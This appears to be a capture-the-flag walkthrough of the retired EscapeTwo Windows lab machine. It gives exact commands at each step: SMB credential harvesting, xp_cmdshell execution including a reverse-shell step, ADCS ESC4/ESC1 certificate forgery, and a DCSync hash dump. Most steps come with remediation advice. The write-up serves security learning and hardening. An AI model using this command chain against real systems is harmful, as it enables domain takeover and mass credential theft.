J. Perez Duertojperezduerto.info
← all walkthroughs

EscapeTwo

Windows· Easy
owned
2026-07-06
time to own
15m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Starting with a valid low-privilege domain account (rose), I enumerated a readable SMB share called 'Accounting Department' and extracted a plaintext SQL Server SA password stored inside a spreadsheet. Using those credentials I authenticated to the exposed SQL Server, enabled the built-in command-execution stored procedure xp_cmdshell, and ran OS commands as the SQL service account (sql_svc).

A plaintext password embedded in a leftover SQL Server installation configuration file on disk then gave access to a second domain account (ryan.cooper) with WinRM access and the user flag. That account held write-owner rights over an Active Directory Certificate Services (ADCS) certificate template; by abusing those rights to modify the template and enroll a certificate impersonating the domain Administrator, I obtained a Kerberos ticket authenticating as Administrator — then performed a DCSync to dump every domain password hash, achieving complete control of the sequel.htb domain.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Mapped the target and identified an Active Directory environment with an externally exposed SQL Server
A port scan of $TARGET revealed a full Active Directory stack (DNS on 53, Kerberos on 88, LDAP on 389/636, SMB on 445) and a SQL Server 2019 instance listening on port 1433 — an unusual and dangerous exposure on a domain controller. The domain name sequel.htb and hostname DC01 were extracted directly from LDAP service banners. WinRM on port 5985 indicated that remote management was available to authorised accounts, making it a valuable lateral-movement target.
Nmap: 389/tcp ldap Domain: sequel.htb; 1433/tcp ms-sql-s Microsoft SQL Server 2019 15.00.2000.00 RTM; 5985/tcp http Microsoft HTTPAPI httpd 2.0
Exact commands 3
Add domain and DC hostname to local DNS resolution.
echo "$TARGET sequel.htb dc01.sequel.htb" | sudo tee -a /etc/hosts
Version-detect key AD ports and capture banner output.
nmap -sV -sC -p 53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389 -oN dc01_scan.txt $TARGET
Confirm OS version, hostname, domain, and SMB signing status without credentials.
netexec smb $TARGET
2EnumerationSMB authenticated share enumeration and file retrieval (T1039)
Accessed a readable file share with the rose domain account and downloaded spreadsheets
With domain credentials rose:[REDACTED: recovered credential], I listed SMB shares and found a non-standard share called 'Accounting Department' granted read access to rose. Two Excel workbooks were downloaded: accounts.xlsx (6,780 bytes) and accounting_2024.xlsx (10,217 bytes). These files appeared to be an internal infrastructure inventory maintained by the accounting team.
Netexec smb: sequel.htb\rose:[REDACTED: recovered credential] ... Accounting Department READ; smbclient: getting file \accounts.xlsx of size 6780; getting file \accounting_2024.xlsx of size 10217
Exact commands 2
List all shares accessible to the rose account.
netexec smb $TARGET -u rose -p "$PASSWORD" -d sequel.htb --shares
Download all files from the Accounting Department share into the current directory.
smbclient "//$TARGET/Accounting Department" -U "sequel.htb\rose%$PASSWORD" -c 'prompt OFF; mget *'
FixRemove credentials and sensitive data from SMB file sharesCritical
WeaknessPlaintext SQL Server credentials were stored in Excel spreadsheets on a network share readable by any standard domain user (rose), allowing any authenticated account to recover them with zero additional privilege.
FixImmediately remove all plaintext credentials from the Accounting Department share and audit all other departmental shares for similar exposure. Apply least-privilege share permissions — departmental shares should be scoped to named individuals or a tightly controlled security group, not broad domain user groups. Store database and infrastructure passwords in a dedicated secrets manager (e.g., HashiCorp Vault, Microsoft Azure Key Vault, or a privileged access workstation vault) and rotate any credentials that were exposed.
3Credential HarvestingCredentials from files (T1552.001)
Extracted a plaintext SQL Server SA password from the spreadsheet contents
Examining the downloaded Excel workbooks revealed the SQL Server SA account password ([REDACTED: recovered credential]) stored in plain text inside a worksheet cell — typical of informally maintained password spreadsheets. No encryption or access controls protected this data. The password was confirmed valid in the following step.
Sa:[REDACTED: recovered credential] recovered from Excel workbook; confirmed by successful MSSQL SA authentication with sysadmin rights in the next step.
Exact commands 2
Dump all cell values from accounts.xlsx to screen.
python3 -c "import openpyxl; wb=openpyxl.load_workbook('accounts.xlsx'); [print(r) for s in wb.sheetnames for r in wb[s].iter_rows(values_only=True)]"
Repeat for the second workbook.
python3 -c "import openpyxl; wb=openpyxl.load_workbook('accounting_2024.xlsx'); [print(r) for s in wb.sheetnames for r in wb[s].iter_rows(values_only=True)]"
FixRotate the SA password and disable the SA accountCritical
WeaknessThe SQL Server SA password was trivially discoverable via a readable network share, and the SA account was left enabled — providing an unauthenticated-to-sysadmin escalation path to anyone who read one file.
FixImmediately rotate the SA password to a long randomly-generated value and disable the SA login if it is not operationally required (most SQL Server deployments run entirely on Windows-integrated authentication). Additionally, restrict TCP port 1433 at the host firewall and network perimeter so that SQL Server is not reachable from untrusted networks — a domain controller should never expose a public SQL service.
4Initial FootholdMSSQL xp_cmdshell OS command execution (T1505.001)
Authenticated to SQL Server as SA and ran OS commands as the sql_svc domain account
The SA account authenticated using SQL Server's local authentication mode (domain/Windows authentication for SA was disabled but SQL authentication succeeded). SA holds the built-in sysadmin server role, which permits enabling and calling xp_cmdshell — a stored procedure that passes a string directly to the Windows command shell. Every command ran under the domain account sequel\sql_svc, the identity the SQL Server service was configured to use, granting a domain-authenticated foothold on the machine.
Netexec mssql: DC01\sa:[REDACTED: recovered credential] (Pwn3d!); whoami: sequel\sql_svc
Exact commands 4
Confirm command execution context is sequel\sql_svc.
netexec mssql $TARGET -u sa -p '$PASSWORD2' --local-auth -x 'whoami'
Open an interactive SQL shell using SQL (local) authentication — domain auth fails for SA.
impacket-mssqlclient "sa:$PASSWORD2@$TARGET"
Enable xp_cmdshell if not already active (run inside the MSSQL shell).
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
Spawn a reverse PowerShell shell as sql_svc; encode a standard reverse-shell one-liner targeting my listener (nc -lvnp 4444).
EXEC xp_cmdshell 'powershell -e <base64_encoded_reverse_shell>';
FixDisable xp_cmdshell and run SQL Server under a least-privilege service accountHigh
WeaknessThe SQL Server SA account had xp_cmdshell enabled, converting any database login into a full OS command-execution primitive. The SQL Server service ran as a domain account (sql_svc) rather than a confined virtual service identity, so xp_cmdshell commands ran with domain credentials and could interact with AD resources.
FixDisable xp_cmdshell immediately: EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; and enforce this via a SQL Server policy. Run the SQL Server service as the built-in NT SERVICE\MSSQLSERVER virtual account or a dedicated group Managed Service Account (gMSA) with no interactive logon rights, no WinRM or SMB access, and no domain privilege beyond what the database strictly requires. Audit all other dangerous extended stored procedures (xp_regread, sp_OACreate) for similar misuse potential.
5Lateral MovementCredentials from installation configuration files (T1552.001)
Recovered ryan.cooper's plaintext password from a SQL Server installation configuration file
As sql_svc, I browsed the SQL Server Express installation directory and located a configuration response file (sql-Configuration.INI) left on disk after an unattended installation. Microsoft's unattended SQL Server setup stores service account credentials in clear text in this INI file — specifically in the SQLSVCPASSWORD and AGTSVCPASSWORD fields — to allow scripted installs. The file contained ryan.cooper's plaintext password. That credential opened a WinRM session on port 5985 and yielded the user flag from ryan.cooper's desktop.
Sql-Configuration.INI contained ryan.cooper credentials; user.txt captured via evil-winrm session as ryan.cooper.
Exact commands 3
Read the unattended-install response file that stores SQL service account credentials in plaintext.
EXEC xp_cmdshell 'type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI';
Open a WinRM interactive shell as ryan.cooper using the recovered password.
evil-winrm -i $TARGET -u ryan.cooper -p '<ryan_password>'
Capture the user flag: <user.txt>
type C:\Users\ryan.cooper\Desktop\user.txt
FixDelete SQL Server installation response files that contain plaintext passwordsHigh
WeaknessAn unattended SQL Server Express installation left a configuration INI file on disk containing the SQL service account password in cleartext. Any process or user with read access to the SQL installation directory — including the sql_svc account itself — could read it without any additional privilege.
FixDelete all sql-Configuration.INI, ConfigurationFile.ini, and similar setup-response files from the server immediately after installation completes. Incorporate this as a mandatory post-installation hardening step. Audit the entire SQL installation tree (C:\SQL*, C:\Program Files\Microsoft SQL Server) for any remaining credential files and restrict directory ACLs so that service accounts cannot read outside their own data directories.
6Privilege Escalation — DiscoveryADCS vulnerable template access control enumeration — ESC4 (T1649)
Identified that ryan.cooper holds dangerous write permissions on an ADCS certificate template
Certipy enumerated the Active Directory Certificate Services deployment and identified an ESC4 condition: ryan.cooper held WriteOwner (or equivalent write-access) rights over a certificate template or its controlling service account (ca_svc). ESC4 means a non-administrative account can alter a template's security descriptor and enrollment properties — the critical precursor to forging a certificate for any identity in the domain, including the Administrator.
Finding: 'ryan (WriteOwner ca_svc > Cert As Administrator > DCSync)'; engagement pattern: adcs-esc.
Exact commands 1
Enumerate ADCS for misconfigured templates; look for ESC4 indicators (WriteOwner, WriteDACL, GenericWrite) under ryan.cooper.
certipy find -u ryan.cooper@sequel.htb -p '<ryan_password>' -dc-ip $TARGET -vulnerable -stdout
FixRemove write permissions on ADCS certificate templates from unprivileged accounts (ESC4)Critical
WeaknessThe domain account ryan.cooper held WriteOwner rights on an Active Directory Certificate Services template, allowing it to reconfigure the template to accept arbitrary Subject Alternative Names and then enroll a certificate impersonating the domain Administrator — with no approval gate and no audit alert.
FixAudit all certificate template DACLs using Certipy ('certipy find -vulnerable') or the Certificate Templates MMC snap-in and remove all non-administrative write permissions (WriteOwner, WriteDACL, GenericWrite, GenericAll) from standard user or service accounts. Only the CA Admins and Enterprise Admins groups should hold template write rights. Disable the ENROLLEE_SUPPLIES_SUBJECT flag on every template that does not explicitly require user-supplied SANs, and require CA manager approval for any enrollment that names an alternative subject. Enable ADCS audit logging and alert on template modifications.
7Privilege Escalation — Certificate ForgeryADCS ESC4 template modification followed by ESC1 certificate enrollment with arbitrary SAN (T1649)
Modified the certificate template and enrolled a certificate impersonating the domain Administrator
Using Certipy, ryan.cooper first took ownership of the target template and granted myself full control (GenericAll), then reconfigured the template to allow the enrollee to supply an arbitrary Subject Alternative Name (SAN) and to include the Client Authentication Extended Key Usage — the ESC1 precondition. A certificate enrollment request naming Administrator@sequel.htb as the SAN was submitted to the CA and automatically approved, producing a certificate that cryptographically identifies its holder as the domain Administrator.
Certificate issued for Administrator@sequel.htb after template modification; used in the following step to obtain a Kerberos TGT.
Exact commands 2
Take ownership and grant ryan.cooper GenericAll on the template, then set it to allow arbitrary SAN enrollment.
certipy template -u ryan.cooper@sequel.htb -p '<ryan_password>' -dc-ip $TARGET -template '<VulnTemplateName>' -save-old
Enroll in the now-misconfigured template requesting a certificate for the Administrator UPN; saves administrator.pfx.
certipy req -u ryan.cooper@sequel.htb -p '<ryan_password>' -dc-ip $TARGET -ca sequel-DC01-CA -template '<VulnTemplateName>' -upn Administrator@sequel.htb -out administrator
8Domain CompromisePKINIT certificate authentication and DCSync domain hash extraction (T1003.006)
Authenticated as Administrator using the forged certificate and performed a DCSync to dump all domain hashes
Certipy's authentication module presented the Administrator certificate to the domain controller's KDC via PKINIT (public-key Kerberos pre-authentication), obtaining a valid Kerberos TGT for the domain Administrator and extracting the corresponding NTLM hash. That hash was passed to impacket's secretsdump tool, which executed a DCSync — a legitimate replication protocol request that pulled every account's password hash from the DC. With hashes for all domain accounts in hand, I had persistent, credential-independent control over the sequel.htb domain.
Root.txt captured; Finding: 'Cert As Administrator > DCSync'; engagement pattern: dcsync.
Exact commands 4
Authenticate with the forged cert via PKINIT; outputs the Administrator NTLM hash and a ccache TGT file.
certipy auth -pfx administrator.pfx -domain sequel.htb -username Administrator -dc-ip $TARGET
DCSync all domain account hashes using the Administrator NTLM hash; replace <admin_ntlm_hash> with certipy output.
impacket-secretsdump -hashes ':<admin_ntlm_hash>' sequel.htb/Administrator@$TARGET
Open an administrative shell via Pass-the-Hash to confirm full DC access.
evil-winrm -i $TARGET -u Administrator -H '<admin_ntlm_hash>'
Capture the root flag: <root.txt>
type C:\Users\Administrator\Desktop\root.txt

Attack patterns used

The transferable techniques behind this compromise.

AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649

What it is

Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.

Why it works

Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.

Read more

DCSyncActive Directory · Credential AccessT1003.006

What it is

DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account — including krbtgt — without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.

Why it works

Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.

Read more

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
1433/tcp
3268/tcp
3269/tcp
5985/tcp
9389/tcp
47001/tcp
49664/tcp
49665/tcp
49666/tcp
49667/tcp
49687/tcp
49688/tcp
49695/tcp
49704/tcp
49726/tcp
49731/tcp